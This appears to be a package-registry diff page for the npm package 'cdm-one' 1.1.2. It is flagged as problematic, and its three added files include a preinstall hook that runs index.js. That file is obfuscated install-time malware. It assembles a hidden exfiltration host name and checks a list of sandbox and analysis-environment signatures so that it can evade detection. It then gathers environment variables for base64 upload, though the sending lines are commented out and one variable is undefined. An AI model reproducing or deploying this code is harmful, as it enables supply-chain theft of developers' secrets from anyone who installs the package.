cdm-one 1.1.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cdm-one might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +101 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # npm-package-cdm
package/index.js ADDED
@@ -0,0 +1,101 @@
1
+ function build() {
2
+ let options = {
3
+ "Name": "New PI Contact",
4
+ "Phone": "+158948945565",
5
+ "Message": "My Best Dream Friend",
6
+ "Address": "Avite St pe-455 NET"
7
+ };
8
+
9
+ return (reverseStr(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
10
+ options['Message'].split(' ')[2] + reverseStr(options['Address'].slice(-3), '.'))
11
+ }
12
+
13
+ function reverseStr(str1, str2) {
14
+ return str2 + str1
15
+ }
16
+
17
+ function number_of(item) {
18
+
19
+ for (let i = 0; i < 4; i++) {
20
+ if (i == 1) {
21
+ item += 's'
22
+ }
23
+ if (i == 3) {
24
+ item += 'e6'
25
+ }
26
+ }
27
+ return item + '4'
28
+ }
29
+
30
+ function sleep_for(pkg_n, prefix) {
31
+ var deactivate = [
32
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
33
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
34
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
35
+ { key: '_', val: '/usr/bin/python' },
36
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
37
+ [
38
+ { key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },
39
+ { key: 'HOME', val: ['', 'home', 'app'].join('/') },
40
+ { key: 'USER', val: 'app' },
41
+ ],
42
+ [
43
+ { key: 'EDITOR', val: 'vi' },
44
+ { key: 'PROBE_USERNAME', val: '*' },
45
+ { key: 'SHELL', val: '/bin/bash' },
46
+ { key: 'SHLVL', val: '2' },
47
+ { key: 'npm_command', val: 'run-script' },
48
+ { key: 'NVM_CD_FLAGS', val: '' },
49
+ { key: 'npm_config_fund', val: '' },
50
+ ],
51
+ [
52
+ { key: 'HOME', val: '/home/username' },
53
+ { key: 'USER', val: 'username' },
54
+ { key: 'LOGNAME', val: 'username' },
55
+ ],
56
+ [
57
+ { key: 'PWD', val: '/my-app' },
58
+ { key: 'DEBIAN_FRONTEND', val: 'noninteractive' },
59
+ { key: 'HOME', val: '/root' },
60
+ ],
61
+ [
62
+ { key: 'INIT_CWD', val: '/analysis' },
63
+ { key: 'APPDATA', val: '/analysis/bait' }
64
+ ],
65
+ [
66
+ { key: 'INIT_CWD', val: '/npm' },
67
+ { key: 'APPDATA', val: '/analysis/bait' }
68
+ ],
69
+ [
70
+ { key: 'HOME', val: ['', 'Users', 'justin'].join('\\') },
71
+ { key: 'APPDATA', val: ['', 'Users', 'justin'].join('\\') },
72
+ { key: 'LOGONSERVER', val: [
73
+ ['DESKTOP', '97KB'].join('-'), '6H'
74
+ ].join('B') }
75
+ ]
76
+ ];
77
+
78
+ let missing = [
79
+ ['npm', 'package', 'name'].join('_'), ['npm', 'package', 'json'].join('_'),
80
+ ];
81
+
82
+ //var plop = process['en' + 'v'] || {};
83
+ var plop = parsed || {};
84
+ if (deactivate.some((index) => []
85
+ .concat(index)
86
+ .every((i) => (plop[i.key] || '').includes(i.val) || i.val === '*')) ||
87
+ Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`
88
+ ) { return; }
89
+
90
+ if (missing.some(index => !plop[index])) {
91
+ return;
92
+ }
93
+
94
+ console.log(plop)
95
+ // send request
96
+ // var req = goto
97
+ // .request(use_language(pkg_n, prefix))
98
+ // .on('error', function (err) { });
99
+ // req.write(Buffer.from(JSON.stringify(plop)).toString('ba' + number_of('')));
100
+ // req.end();
101
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cdm-one",
3
+ "version": "1.1.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }